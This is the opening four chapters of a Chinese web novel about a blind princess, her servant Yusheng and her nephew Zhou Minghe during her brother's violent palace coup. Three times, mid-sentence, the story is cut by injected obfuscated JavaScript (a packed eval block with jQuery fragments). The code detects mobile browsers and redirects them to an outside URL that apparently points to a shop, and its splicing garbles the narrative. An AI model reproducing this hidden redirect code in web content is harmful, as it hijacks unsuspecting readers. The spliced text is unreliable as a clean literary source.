《公主她眼盲心不盲》
1. 第 1 章
黑云卷着骇人的雷声肆意翻滚,浓墨倾洒的阴沉天空压得人喘不来气儿。冷得人骨头都在打颤的阴风贴着公主府平整的院地扫过,脚步快到将要打结的玉生一个趔趄摔倒在地,来不及咒骂一句“这破风”,男人慌得连滚带爬冲进主屋。
顾不上平日里的规矩,玉生甫一进了屋便直往里间奔去,噗通一下跪在和田白玉拔步床边儿,哭喊道:“哎呦我的公主诶!您可别睡了!出大事儿啦!”男人尖细的声音扬了又抑,末尾须臾间就打了好几个转儿。
一整个缩在捏边翡翠被里的人随着玉生话落抖了一下,便没了任何动作。
玉生身子不敢凑近,只跟扮戏一般苦着一张脸伸长脖子,眼珠子因为惊惧而夸张地鼓出来,像只可笑的蟾蜍。他朝着被子缝压低声音:“公主您可真不能睡了!仁亲王起兵造反,这会儿宫里头正流着血呢!”
掩紧的被子突然掀开,玉生活像只被惊着的兔儿,身子猛地缩回去。
眼见披散着黑稠般长发的公主只着一件里衣从床上坐起,玉生又赶忙一骨碌站起身,几步间从一旁的架子上取来银狐氅小心地为她披上。
少女两目紧闭,细眉微蹙,细瘦的双臂胡乱往四周摸索着。
玉生一只手赶忙在身上擦拭几下递过去,一下就被公主握紧。
只见公主原本还泛着红的面颊一瞬间便退了色,苍白的脸庞更显柔弱,她嗫嚅着开口:“明赫......”
玉生另一只空着的手虚拢着公主,低下头轻声安慰:“公主且放心,小殿下既非陛下亲子,平日里又得了您的疼爱,想来仁亲王为着您,也该留他一命的。”
公主却面色惨淡地摇了摇头,挣扎着便要起身。
“公主!您这会儿可千万不能够往宫里头去啊!”玉生赶忙拦着公主,说罢,他又放低声音:“这外头天都阴了,想来快要下雨,您这一出门,鞋袜该脏着了。”
公主悲切道,满面失望:“明赫在宫中生死未卜,你却同我讲鞋袜净否?”
玉生见公主心意已决,佯作该死地扇了一下自己的脸。他小心扶着少女坐在床沿,刚拿起矮凳上的软底珍珠绣鞋准备为公主换上,便愣住。
他不动声色地将两只鞋塞进旁边的乌木柜里,另外拿起一双软缎绣花鞋,蹲下身子一边为公主穿上,一边无奈开口:“公主今日可是又在房里作了一天画,您鞋子都染上颜料了。”
公主双手撑在身侧,垂头闭着眼,长发垂在两侧挡住了脸,让人看不清神色。玉生只听见少女幽幽询问:“颜料?是什么颜料?”
玉生笑着说:“回公主的话,是朱砂。”
刚待玉生为公主套上一件云纹绉纱袍,便被仍散着墨发的少女拉着往外走。这可吓得他也不敢说什么束发的话,赶紧快步跟上仔细搀扶着少女,以免这位金枝玉叶的公主哪里磕着了,碰着了。
无视一路奴仆的讶异,玉生随着公主一同坐进前往皇宫的马车,又点了两名侍卫紧紧跟在后面。
玉生掀起帘子朝车外望去,依旧是这条自公主府通往皇宫的道路,只是昔日的车水马龙与欢声笑语皆已随着数百里外的大破的城门被铁马碾碎。如今剩下的只有穿着黑铁甲胄,面容严峻的士兵在来回巡逻。
带头的将领认出顺安公主府的马车,约莫是个时常往来仁亲王身边的红人,此刻倒也识得玉生。
两人远远打了个照面,右边脸颊带着一道狰狞疤痕的将军便勒马停下,恭敬地朝公主的马车低头行礼。直到车子离去,才翻身跃马,继续巡逻。
“刚才有个右脸生了个疤的将军给公主行礼,瞧着像是个能在仁亲王跟前说得上话的。”玉生放下帘子,细致地向公主汇报。
公主没说什么,只是安静地握着玉生的手。自从公主七岁那年为救仁亲王瞎了眼,此后无论做什么都是万万离不得玉生的。
御赐銮铃伴着良驹嘚嘚声,马车一路驶过被铁骑黄沙重洗过的官道,眼看将要入了宫门,竟是被两个毛头小兵拦住了去路。
玉生当下便掀了帘子发火:“可真是天大的胆子!长公主的车撵也是你们能拦的!”
叉刀的两名兵士瞅了对方一眼,却无动作。
哎呦!玉生心底将这俩砸碎的祖宗十八代给问候了个遍,扭头朝着马车后面两名侍卫吩咐:“还不快给殿下开路!”
这是公主府家养的侍卫,向来唯玉生马首是瞻。玉生话一出,两人当即提剑立于前方,齐声怒斥:“大胆孽障!快快让路!”话毕不过一息,两名威武侍卫立刻抬臂举剑,直冲士兵命脉而去。
未等剑抹脖子,一名似是领头的将士举着长枪跑过来,挥臂格挡了一瞬,便立刻弯腰赔罪:“哎呦,刚我还想着这么个关头,再怎么尊贵的主子也不该有胆子往宫里跑啊,这近了一瞧,便是——恍然大悟了呀!”
谄笑着说罢,领头将士跟换脸似的撇下嘴,对着两名叉刀士兵劈手拍去:“瞎了你们狗眼了!殿下的车撵还敢拦,还不赶紧领罚去!”
玉生凉凉地瞥了一眼这将士,原本不明所以的将士像是才反应过来什么,猛地直直跪下来狠抽自己耳光,唇角很快见了血:“小的该死!小的该死!小的该死......”
玉生放下帘子,冷声道:“走吧。”
过了一会儿,微凉的手指并拢,轻轻拍了拍玉生的手背,他赶忙低下头转身对着公主。
“何必如此。”公主的声音不似寻常女子般温软,带着独特的凉意。
玉生将头埋得更低,解释:“公主良善,可如今正值紧要关头,万不能叫人瞧低了去。”
极为清浅的笑声响起,只如那秋风卷波,转瞬即逝:“总归有二哥在,便是狐假虎威,谁敢不敬?”
玉生强压下鼻头酸意,说道:“和亲王自是疼爱公主,可总有那么些没见得世面的蠢人前来冒犯,公主既是不忍斥责,交予奴才便是。”
他不忍去看身旁女子是何神色,但也明白她听了好话是开心的。
老皇帝子脉稀薄,膝下不过二子一女。除却皇后所育那位今日已然被杀害的长子,便是一母同胞的仁亲王与公主了。
仁亲王自不必说,对唯一的妹妹顺安长公主自是百依百顺,十分疼爱。而继承了皇位的大皇子纵然不是公主的嫡亲兄长,不过因着那位娘娘的缘故,倒也十分愿意捧着殿下。
这里所言的娘娘便是如今宫中唯一的皇子周明赫小殿下的亲生母亲苏扶楹。而先前之所以说小殿下并非皇帝亲子,便是因为这苏扶楹原是已身怀六甲的臣妻,却不想被皇帝看上强娶为后,诞下的一个孩儿也因为生父另有其人而为陛下所不喜,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12957501|136642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
更是被勒令禁止与亲生孩儿见面。
那位苏娘娘因着心有别属,无论皇帝如何殷勤始终不为所动,反倒是对刚害了眼的公主十分喜爱,特意将其接来身边亲自教导。也正是因着这层知遇之恩,公主一向对身陷冷宫的明赫小殿下多有关照,今儿听了和亲王逼宫的消息,特意前来营救小殿下。
无论是先帝统治下一片死寂的皇宫,还是在如今血流成河的逼宫事件中,公主总是能安安稳稳地乘着香风满盈的华贵车撵,自由出入这偌大的牢笼。
越往里走,血腥味就越大。
玉生往一早便点着的香炉里又添了些冷香,只盼着一路上公主心里头也能安稳些。
从宫门到太极宫的这段路,说远不远,说近也实在谈不上。
若是对于平日里上朝的官老爷们,便是为了颈上那颗没甚用处的脑袋,也是绝对不敢说一个“远”字的。可如今走这条路的换了玉生同公主——主仆二人哪到过太极殿啊!
玉生急,怕出意外,也怕周明赫真被杀了。
至于公主急不急,玉生拿不准,也不敢擅自揣度。
马车停下,到了这天下血味儿最浓的地方。
手被轻轻捏了一下,玉生会意,护着跌跌撞撞的公主下了车,嘴里止不住喊道:“哎呦喂!公主您慢些!您慢些!”
披散着长发的公主在慌乱奔跑下衣衫已是十分凌乱,长长的台阶不知跌了多少次,玉生仔细瞅着时机捞一把公主瘦弱的肩窝,以免真的给磕着碰着了。等到了太极宫内,满脸泪水的公主一手紧紧握住玉生的小臂,另一只手无措地在空中摸索着。
宫殿内堆满抹了脖子的尸体,血腥味冲面而来。
没等玉生不动声色地将公主引去中央提着血剑的仁亲王那边,一袭青衣的玉面郎君远远见了二人,霎时便扔了剑朝公主奔来。
“嫽儿!”
“哥哥!”
面上莹莹泪,彩线难收,抛珠滚玉,偷潸不止。
公主松了玉生的手,哭倒在仁亲王怀中:“求哥哥,饶过明赫!”
仁亲王是个实打实的疯子。便说他连夜逼宫篡位,自古以来僭越者最怕人心二字,是以多四处打点,从不滥杀无辜,只求搏个好名声,日后行事也方便。然而仁亲王不同,杀了亲哥哥不够,如今更是在这皇城之中大肆捕杀无辜之人,誓要用万人鲜血,洗去旧时的一切痕迹——可万物是非从来此消彼长,抹了人身,也抹不掉人心。
与公主有着极为相似面容的俊美男子,一袭竹青长袍,风雅温润,可在如今肃杀氛围中,只让人觉得荒唐。
他搂着怀中低声啜泣的公主,如玉的手掌一下又一下轻柔地抚着公主瘦弱的脊背,温声安慰:“能入嫽儿眼,是那孩子的福气。”
决口不应公主的恳求。
公主哭的更狠了。
女子柔美乖顺的脸如梨花带雨,见者只恨不能为她割颈赴死。
至少玉生是这么想的。
“啧啧。”仁亲王满脸心疼地捧着公主的脸,拾起未曾沾血的衣袖细细为她擦着泪水:“嫽儿若喜爱孩童,哥哥为你寻来大耀最钟灵毓秀,冰雪可爱的小孩,供嫽儿挑选,可好?”
公主哭声渐息,却是不依,她离了仁亲王怀抱向着无人处,闭着眼睛呼唤:“明赫!”
2. 第 2 章
玉生斜睨一眼脚下没了身子正汩汩流着血的头颅,心底头一回庆幸公主瞧不见。恐怕阿鼻地狱也不过如此。
眼见公主离了仁亲王怀中,玉生立刻便上前想要搀扶住独身一人的公主,却不想被那玉面修罗挡了去路。
他停在原处,垂眸冷视面前离自己不过半指长的长剑,鲜红黏稠的血液自银光迸发的剑尖滴落,宛如一只蓄势待发的竹叶青。
仁亲王神仪明秀,面比积石砌玉,姿若列松点翠,端的一副风流神仙的模样,却是玉生活了二十多年,见过最疯癫的人物。他是真怕眼前男人一个不高兴就把他脖子给抹了。
玉生不动声色地撇了一眼角落里的瑟瑟发抖的小孩,那孩子躲在蟠龙金柱后头,早在进来时玉生便已瞧见。好在这位小殿下还算位聪明的主儿,瞧见玉生的眼色后就什么也不顾了,朝天大喊一声:“姑母——”
只见尚且伸着两臂,满脸愁绪的公主立刻转阴为晴,又哭又笑:“明赫?是明赫吗?快到姑母这儿来!”
满身鲜血的小儿立即撒开脚奔向公主怀中,紧紧搂着公主的腿。
玉生心下不喜,暗自皱眉。
这孩子自打出生起便被丢在冷宫无人照管,若不是公主顾念着苏娘娘的情分常去探望,恐怕早已转世投胎。因着无人教养,行为举止与野兽无异,实在粗鲁。
公主蹲下身子将衣着破旧的小男孩搂在怀中,好似在男孩耳边低语了一声。于是玉生便见着小男孩牵引着公主慢慢走来这边。
玉生对颈边之剑毫不畏缩,转身朝公主行了一礼:“公主。”他顿了顿,看了一眼抱着公主裙角浑身是伤的男孩,没有动作。
“玉生……”公主朝玉生伸出手。
玉生连忙上前一步想要接引,却不想一旁的仁亲王动作更快,随手扔了剑便虚搂住公主,眉头蹙起,满目忧心:“嫽儿就那么喜欢这孩子?”
公主听了这话,当即提了衣裙,不顾仁亲王阻拦便跪在地上,不卑不亢道:“皇后娘娘于嫽儿有莫大的恩情,嫽儿无论如何也做不到弃恩人之子于不顾……况且,哪怕没有皇后娘娘,我与明赫也很是投缘。兄长日后是做大事的人,自是无暇顾念嫽儿,只愿兄长怜惜,留了明赫一命与嫽儿作伴!”
说完,公主便搂着周明赫要与仁亲王磕头。
这可把仁亲王吓得不行,他竟也直直跪在了地上,握着公主瘦削的双肩,恳切道:“嫽儿如今说话怎得直往哥哥心口上戳,你既想留了这孩子,那依你便是,何苦跪来跪去!”他扭头呵斥玉生:“还不快扶公主起来!”
玉生一颗紧缩的心脏总算彻底放松下来,他走过去将周明赫隔开,同仁亲王一起将公主小心扶起来。
正在此时,一个面上长疤的男人劈里啪啦从外头进来,原就是进宫前那个朝公主行礼的男人。这男人一身银钢铠甲,气势非凡,大步流星走进来动静响当当的。
公主是极聪慧的,听了盔甲碰撞的声音便知知晓两人要商议正事,握着玉生的手腕朝仁亲王盈盈一拜,便拉着周明赫远离了这是非之地。
仁亲王似乎还要和公主说什么,遥遥举了手,最后却只是狠狠瞪了一眼公主腿边的男孩,未再言语。
周明赫一手被公主拉着,另一只小手紧紧攥住公主的裙摆。被仁亲王瞪了一眼后攥着衣裙的那只手松了松,下一秒便又抓的更紧了。
玉生心中难免唾弃这孩子净会给公主惹事,只得一边跟仁亲王陪着笑,一边赶紧扶着公主出了太极宫。好在仁亲王与那将军约是有要事相谈,并未计较周明赫的失礼之举。
玉生自是不敢在这个紧要关头打搅,毕竟皇帝已经死了,接下来公主的富贵日子还得多多仰仗这位将是新帝的亲哥哥。
因着公主眼睛不好,再加上此时心中估摸着正在几番考量,一行人走得很慢。等到了马车跟前,公主拉着周明赫的手蹲下来。哪怕自己目不能视,她也常常蹲着身子同周明赫说话,只为着男孩能看清自己,别再那么害怕。
虽然玉生从不认为这孩子是个胆小的。
“明赫......”公主的手摸索着按在了男孩的双肩。
周明赫生的粉雕玉琢,冰雪可爱,模样比一般的贵小姐还要精致许多,满身的破烂也难掩男孩如珠似宝的美貌。他一只手抬起似乎想要握住肩头女子的手腕,临到半空却只是拽紧了公主的衣袖,怯懦乖顺:“姑母,我在的。”
公主双唇轻颤,话未出口泪先流。
“姑母......”周明赫一下子便慌了,他有心为公主擦去眼泪,两只小手却是脏污不堪,只好不知所措地望向玉生。
玉生跟了公主十六年,如何不知其心绪郁结之处,他重重叹了一口气,神容无奈地开口:“小殿下此后便要跟着公主一块过日子了,您可愿意?”
男孩慌忙应答:“当然愿意!”说完,他偷偷地撇了一眼公主。
公主若有所感地抬起头面对周明赫的方向,安抚性地笑了一下。
于是玉生接着道:“公主感念娘娘恩德,特来接小殿下回府照看,今后呀,您与公主就是一家人了!”他余光落在公主难辨悲喜的脸上一瞬,后又转开,笑着对周明赫说:“小殿下今后就是顺安公主府的人了,可有什么要收拾的行李物件?倒不如今日收拾了一并带走,也免得日后再为此烦心。”
周明赫有一双黑曜石般纯净透彻的眸子,男孩抬头望着玉生,大眼睛眨了眨,静默片刻,奶声奶气道:“我自幼无人照管,倒没甚么贵重物品,公公可否允许明赫到母亲宫中带走些东西以寄思念之情?”
玉生脸上笑开了花,笑道:“自然可以。”
苏娘娘崩逝的消息是今早传出的,到了正午仁亲王便率兵杀进了皇宫,于是太监婢女们都说苏娘娘是仙子临世,有通晓古今,预知未来之能。午夜时分算到了仁亲王逼宫的迹象,天未亮便于内室自尽,免了自己刀剑兵马的迫害。
此事中最为哀痛的便是由苏娘娘照看过几年的公主了,因着害怕触目伤怀,珠泪偷弹,公主并未陪同周明赫一起前往,只是派了玉生跟着。玉生自是不愿离了公主,却也知晓苏娘娘于公主而言非比常人,只好命两名侍卫千万仔
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12957502|136642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
细瞧着公主,而后狠下心随着周明赫离开。
等玉生将与苏娘娘有关的一应物品都带了回来,天色已然黑了下来。他双手插在袖中快速往马车停放处走,身后跟着端了大小物件的几名宫女,周明赫虽然在同龄人中算是高的,却也只是个孩子,一路小跑着跟在玉生身后来到了马车旁。
玉生猛地止住脚步,先是瞪了一眼周明赫,后才小心掀了车帘往里头看去。见公主正端坐其中,手里拿着一块木头一根木工凿正缓慢刻着,这才放心出了声:“公主,东西都拿来了。”
黑暗中,公主手上动作停下来。她慢慢将东西放在车内小桌上,并未下车,而是手摸索着按在车窗,轻声吩咐:“东西找人送去公主府。”说罢,又温和地笑了一下:“明赫,快上来吧。”
站在玉生身旁地周明赫僵了一下,他嗫喏开口:“姑母,我身上脏......”
“你这孩子,姑母何时嫌弃过你。快上来吧。”公主语音柔和,却是不容拒绝。
“欸!”周明赫嘴角忍不住勾起,不再犹豫很快进了车内。
玉生紧随其后,进了马车后便坐在公主右手边的长凳上,周明赫则贴紧了坐在公主身旁。
公主怜爱地半搂住男孩,温柔地问他是否害怕,身上可有伤。
周明赫从前在冷宫里头就惯会讨偶尔前来探望的公主欢心,他毛茸茸的脑袋蹭了蹭公主的手掌,语气亲昵:“原是很怕的,但见了姑母便什么都不怕了。”
公主果真被他逗得笑起来,自打午时便阴云缠绕的脸上终于露出真切的笑意。
看见公主笑,周明赫便也跟着笑起来。
玉生看着男孩晴朗明快的笑容,忍不住再一次怀疑这孩子莫不是仁亲王的种。不过九岁的孩童,变脸的能力就和仁亲王那个疯子差不多了。
别看周明赫这野孩子在公主跟前一副纯良乖顺的模样,玉生深知这孩子是头尖牙利嘴的小狼,平日里对宫中那些太监嬷嬷可是凶悍的很!恐怕如今好孩子的样也不过是为了攀附公主而故作天真。
待到了公主府,玉生原想将周明赫交给大丫鬟横雨安排,却不想公主亲自发话让玉生从头到尾为周明赫打点好一切,横雨则先带着男孩收拾干净了来她屋里住着。
正同横雨讲话的玉生笑容有片刻凝滞,很快恢复如初:“是,公主。”
公主既然心疼周明赫,玉生再怎么不喜欢也得为了那孩子尽心尽力。
玉生先让人备了饭菜赶紧呈上去,回忆着公主的态度又找了掌事嬷嬷按照皇子的规格品质来准备男孩的一应衣物。他在公主内院来回踱步,今日乌云遮月,低风频频带来连蕊香尘,吹散了脑中迷雾。
玉生分别选中了内院东厢房与西侧院,命人今夜赶紧把西侧院收拾出来。至于内院东厢房因着是公主的院子,本就不算冷清,于是令人明日白天再收拾,以免打搅了公主休息。安排完,他又脚不沾地亲自前往库房选了上好的文房四宝与几件奇珍异物,派人先小心摆入西侧院。
库房宝物虽不多,但供养一个富贵公子还是有得的。
3. 第 3 章
玉生将大小事宜草草安排过,便赶紧去了正堂伺候公主用餐。
因着看不见,向来都是玉生为公主夹了饭菜进小碗里,公主再小心翼翼捏着勺子贴近了碗壁,而后慢慢滑下舀起饭菜,最后缓缓送入嘴中。
苏娘娘曾经教过公主用筷子进食,公主喜欢苏娘娘,为了讨她欢心私下里练过许久。本来已经无甚问题了的,谁料在一回宫宴上,不知是否是太过紧张的缘故,公主拿着筷子夹了两下不仅未夹住饭餐,反倒失手打翻了茶盏,引得在座一阵哄笑。
那时玉生气得要死,恨不得撕烂对面那个几个男人的可恶嘴脸!
自那以后,公主就再没有用过筷子了。
玉生赶到正厅,瞧见奢雪正立于公主手边小心布菜,他使了个眼色,奢雪远远朝他行了一礼,便退至屏风后。
奢雪和横雨都是公主的贴身侍女,同玉生一样都是被公主赐了名从小就侍奉在公主身侧的。两人性子沉稳寡言,却十分能干,尤其是奢雪。其实原先侍奉公主身边大小事务的人本该是奢雪,只是因着公主幼时脾气极差,喜怒无常,常常迁怒身边人,不过公主本性十分善良,因为不愿奢雪在身旁受苦,便唤了玉生来身前伺候。
念及往昔,又看见端坐首位的女子,玉生情难自抑心痛起来。苏娘娘的死对公主来说无疑是个巨大的打击,甚至不到一天的功夫,往日那个还会发发脾气的女孩便一下子成长了起来。
讲真的,玉生宁愿回到从前公主对他动辄打骂的日子,至少那时候公主倒还像个寻常女孩。
玉生一面为公主布菜,一面留意着周明赫那边的动静。
经过横雨的悉心收拾,男孩身上的脏污已经洗去,露出奶白的柔嫩肌肤。换上月牙白的对襟短衫,尚带着水汽的鸦黑长发披散在肩头,男孩一双眼瞳如点漆般黑亮,面如凝脂,好似画中小神仙。
这孩子长得倒是俊俏,只可惜公主无缘得见了。
公主饭量很大,再加上用的慢些,周明赫吃完了公主也才吃了一半。
她舀饭的动作顿住,向着无人处抬头,柔声道:“明赫身上可有伤口?”
横雨福身,回禀:“身上沾了许多血迹,右腿膝盖瘀血较为严重,想是奔走间粗心磕着了,我已为小殿下上过药。其余便没什么伤了。”
听了这话,公主显然放松下来,“明赫今日也累了,先让你横雨姐姐陪你在院子里走一走消食,过会儿便去睡了吧。”
粉雕玉琢的男孩攥紧筷子,小心翼翼地看着公主,“明赫在这喝会茶,等一下姑母可以和明赫一起散步嘛?”不待公主说话,他又连忙开口:“明赫会紧紧拉着姑母的手,绝对不松开的!”
“哈哈。”公主笑出声,在半空中伸出手,男孩立刻将头放在公主掌下,十分依赖。
玉生冷眼旁观,只觉得这孩子当真是心思深沉,若非知晓周明赫许多礼仪规矩不懂,甚至还得横雨上手帮忙,否则他真要怀疑这孩子“未经教化”是假,装模作样是真了。
用罢晚饭,公主一手被玉生仔细扶着,另一手牵着周明赫在院中散步。
其实这内院——不,莫说是内院,便是整个公主府都十分平坦空旷,莫说是寻常富贵人家的小河假山,树木秋千了,便是普通花草都不常见。少有的几朵花也是养在专门的栅栏里,为的便是防止公主一个不小心给踩伤了。
“听说我这公主府无聊的紧。”公主幽幽叹了一口气,“我也不知道寻常的孩子喜欢什么……玉生,给明赫选了哪个院子?”
玉生弯腰回禀:“选了宽敞的西侧院,另外奴才想着小殿下陪伴公主方便些,便打算明儿把内院的东厢房也收拾出来。这样啊,小殿下若是在公主房里待的晚了,也好直接在一旁的屋子里歇下。”
“嗯。”公主嘴角带着清浅的笑意,“你过两天瞧瞧外面的孩子们都喜欢什么,也给明赫备一份。”说罢,她又摇了摇周明赫的手,柔声道:“若有想要的,尽管同你横雨姐姐说,让她为你准备齐全。”
“是,姑母。”周明赫乖巧应答,话音一转:“姑母这里才不会没趣味呢,这里可比冷朱阁好多了!明赫喜欢姑母家。”
冷朱阁是周明赫从前在宫里头住的地方。那冷朱阁偏僻又荒凉,平日里连太监宫女都少去,除了奉皇上命令守在那里的士兵,便是偶来探望的公主了。
公主另一只手从玉生小臂上移开,大概以为周明赫想到了伤心事,轻轻摸了摸他的头。
玉生愣愣看着公主的动作,万万想不到从前惯会向苏娘娘撒娇的公主竟也变得会安慰人、可怜人了。是不是公主对周明赫而言,便好似曾经苏娘娘与公主?
他静静看着公主温和恬静的侧脸,他比任何人都明白公主此刻无比的哀恸,然而她却表现得如此平静,好似什么事都没发生过,好似今日的一切与她都没有关系。
今日时辰实在晚了,再加上周明赫腿上有伤行走不便,公主只是走了一会,便在奢雪的服侍中睡下了。
这一晚公主与周明赫都睡得很沉,对于两人而言,他们的生活都发生了翻天覆地的变化。前者最爱的人含恨离世——苏娘娘走得时候一定满腔愤恨吧,她哪里是恐惧刀剑无眼,分明是被皇帝给逼死了。对公主而言,唯一的好处大概就是亲哥哥仁亲王继任新帝了吧,可好好赖赖哪里是一时定论?是福是祸谁能得知。至于后者——
周明赫大抵是十分开心的吧。
第二日清早,玉生看着身旁与从前判若两人的男孩,不禁感叹公主当真是心善,做了这么一桩好事。
皇帝一向厌恶周明赫这个野孩子,但因为苏娘娘的缘故,也无法真的将他杀死。只好将刚出生没多久的小孩扔进冷朱阁,刚开始还有一个奶娘照料,后来等孩子会吃食了,连奶娘也给撤走。每
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12957503|136642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
日侍卫从外头送了饭进来,别的便什么也没了。
其实若真是如此倒还好,只是于上位者而言皇宫是富贵显赫的天堂,于这底层奴仆来讲,可就是吃人不吐骨头的猛兽了。冷朱阁周围住的小太监不仅不会惧怕周明赫皇子的身份,反而会因此变本加厉地欺辱他,只为吐出一口恶气。讲实话,玉生常怀疑这是皇帝的暗中指令。
一面觉得皇帝做不出迫害幼童这等幼稚之事,一面又觉得以他对苏娘娘的疯魔样子,撒气撒到周明赫身上也不奇怪。
总之因为以上种种缘故,玉生跟着公主奉苏娘娘的命令前去冷朱阁探望周明赫时,男孩常常一副伤痕累累,凶狠阴郁的样子,第一次见面时可把玉生吓个不轻……
“玉生公公。”周明赫有模有样地朝玉生见礼。
玉生赶忙弯下腰,夸张叫道:“哎呦!小殿下如此可真是折煞奴才了!”
横雨在一旁笑呵呵打趣:“刚教了小殿下如何见礼,刚一会儿就跟公主弯了五回腰。公主实在受不了让他停住,这会儿见了公公估计是又上瘾了,想来炫耀一番呢!”
小孩单纯,“炫耀”一词惹得他面红耳赤,争辩道:“……才不是!我只是尊敬玉生公公!”
玉生是将公主照看长大的人,在府中威望极高。他走过去站到公主身边,失笑:“您是主子,哪里有主子给奴才行礼的?快别这么着了,可真是大清早给奴才吓得不轻。”
周明赫抿嘴憨笑,坐在了公主身边。
今日由横雨带着周明赫一块到外面采买东西,小孩子以前从未出过宫,什么见识也没有,是以十分欢喜。用过早饭临近出发前,还主动问了公主可要一同前往。
“姑母还有些事要处理。”公主同横雨吩咐:“如今时局动荡,虽然无人见过明赫,出门在外也要多加注意,千万小心……自然,也别太过拘束,还是得玩的开心。他若喜欢什么尽管买了来,还有以后需要的一应物品都买好。听说京城天香楼的饭菜好吃,晌午时便带着他去那里尝尝鲜……”
公主絮絮叨叨说了许多,俨然一副慈母的模样,单看如今的场景,谁能知道公主也不过只有十六岁,尚且是个小孩子,却是已经开始照顾另外一个孩子了。
“嗯!”乖巧等候公主全部说完,周明赫伸出小手拉住公主一根指头晃了晃,语音甜腻:“那下次明赫再陪姑母一起出门玩。”
等横雨带着周明赫与一应奴仆坐上马车离去,公主仍静立在原处。清风徐来,晨光熹微,今日有个好天气,可惜天下正是乱极的时候,哪怕知道仁亲王骁勇善战,足智多谋,玉生依旧止不住担心其中出了什么纰漏。
公主往后的荣华富贵与平稳安定可全部系于这几日了。
公主四指并拢拍了两下玉生的手背,这是只有两人知晓的习惯。他扶着公主缓步前去书房,心底不断祈求仁亲王千万要顺利称帝。
4. 第 4 章
周嫽将自己关在书房一整天。
这里有许多书,有些是苏扶楹写的,有些是苏扶楹命人买来送过来的,更多的是一些适宜孩童阅读学习的书籍。这些书除了苏扶楹和玉生每日念与她听,还常常借与幼女院的孩子们阅读。
幼女院是周嫽十四岁那年在苏扶楹的支持下创办的。
开始是因为她和玉生、奢雪在外游玩,偶遇一名卖身葬母的女孩被京中恶霸欺侮,出手相救后便将那女孩带回了府中。原本只想将那女孩收作府中侍女,只是她性子活泼机敏,时常讲些乡野故事逗周嫽开心。
周嫽很喜欢听这个孩子讲家乡的故事,那是她从未接触过的世界。初开始只觉得奇妙非常,后来讲得多了,她便从那孩子处得知许多穷苦人家会将生下来的女婴溺死,或是在孩子小小年纪时就卖给了人牙子。
当时她于心不忍,将此事告知了苏扶楹。苏扶楹告诉周嫽这种事在大耀十分常见,耐心安慰了哭泣不止的周嫽后,女人鼓励地询问她是否觉得自己有什么能为她们做的,于是周嫽便在她的引导下想出了幼女院。
便是城中若有弃养的女儿,大可直接送于顺安长公主创办的幼女院。其实周嫽原先是想给予弃养者高于市场价格三倍的银钱,这样就会有更多人把女孩送往幼女院教养,而非直接溺死或是卖往泥潭深渊。可后来经苏扶楹点拨,周嫽又明白过来恐怕如此只会让女孩成为买卖的物件,令更多人送出女儿。
世道向来如此,女人总是无足轻重的。无论是那些穷苦的女孩们,还是苏扶楹与周嫽。
——不,这么说也不对。毕竟相较于平民百姓,周嫽与苏扶楹在物质生活上还是要幸福许多的,至少她们不缺吃穿。也正是因为此,苏扶楹很少抱怨自己因为是个女人而遭受了多少不公,因为她总觉着自己是利益既得者,不配说这些。
苏扶楹就是一个那么善良的人。
对于这些道貌岸然的权贵男子而言,苏扶楹是离经叛道的疯婆子;对那些穷苦的底层人来说,她又是菩萨心肠的苏娘娘。
周嫽轻轻抚摸着手下的木板,上面用木工凿细细刻画了一张人脸——那是苏扶楹的脸。
因为看不见,相较于笔墨纸画,周嫽更喜爱能够在自己手下随意变化且能摸得着的木块。她有一双巧手,总是能雕刻出许多稀奇古怪的玩意儿,或是将山川草木,猪狗牛羊刻的栩栩如生。
其实最开始周嫽是看不上这些的,包括现在的许多人也觉得她堂堂一个长公主,做这些不入流的东西实在是有失身份。每每这时,苏扶楹就会直接抄起手边的东西二话不说砸过去,把那些人吓得屁滚尿流,连连道歉。
想到从前——实际上只是几天前的事,周嫽手上动作顿住。
周嫽目不能视,眼前一片漆黑,但她明白,从今往后的每一天,名为恨的滔天火焰会在她心底熊熊燃烧,永不停息。
“玉生。”
“欸,公主。”侍立身侧的玉生应声,同时四指轻轻盖在周嫽的手腕上,这是为了让周嫽清晰感知到他的存在。
“苏扶楹的尸身现在何处?”昨日情况危急,苏扶楹又是在前天半夜里上吊自杀的,她根本接触不到女人的尸体。
玉生将奢雪唤进来,奢雪向周嫽行过礼后,回答:“禀公主,奴婢今日一早便奉您的旨意前去太极殿找王爷,当时王爷正在忙,拖了许久不肯见奴婢。奴婢无法,只好先去了椒房宫查看,却听那里的丫头们说苏娘娘的尸身已被苏家人领了回去。奴婢听了便想赶紧回来告诉公主,岂料王爷突然来了椒房宫朝奴婢发了好大一通火,拦着奴婢不让走,直到天快黑了才肯放行。”
周嫽一颗心随着奢雪慢慢沉下来。
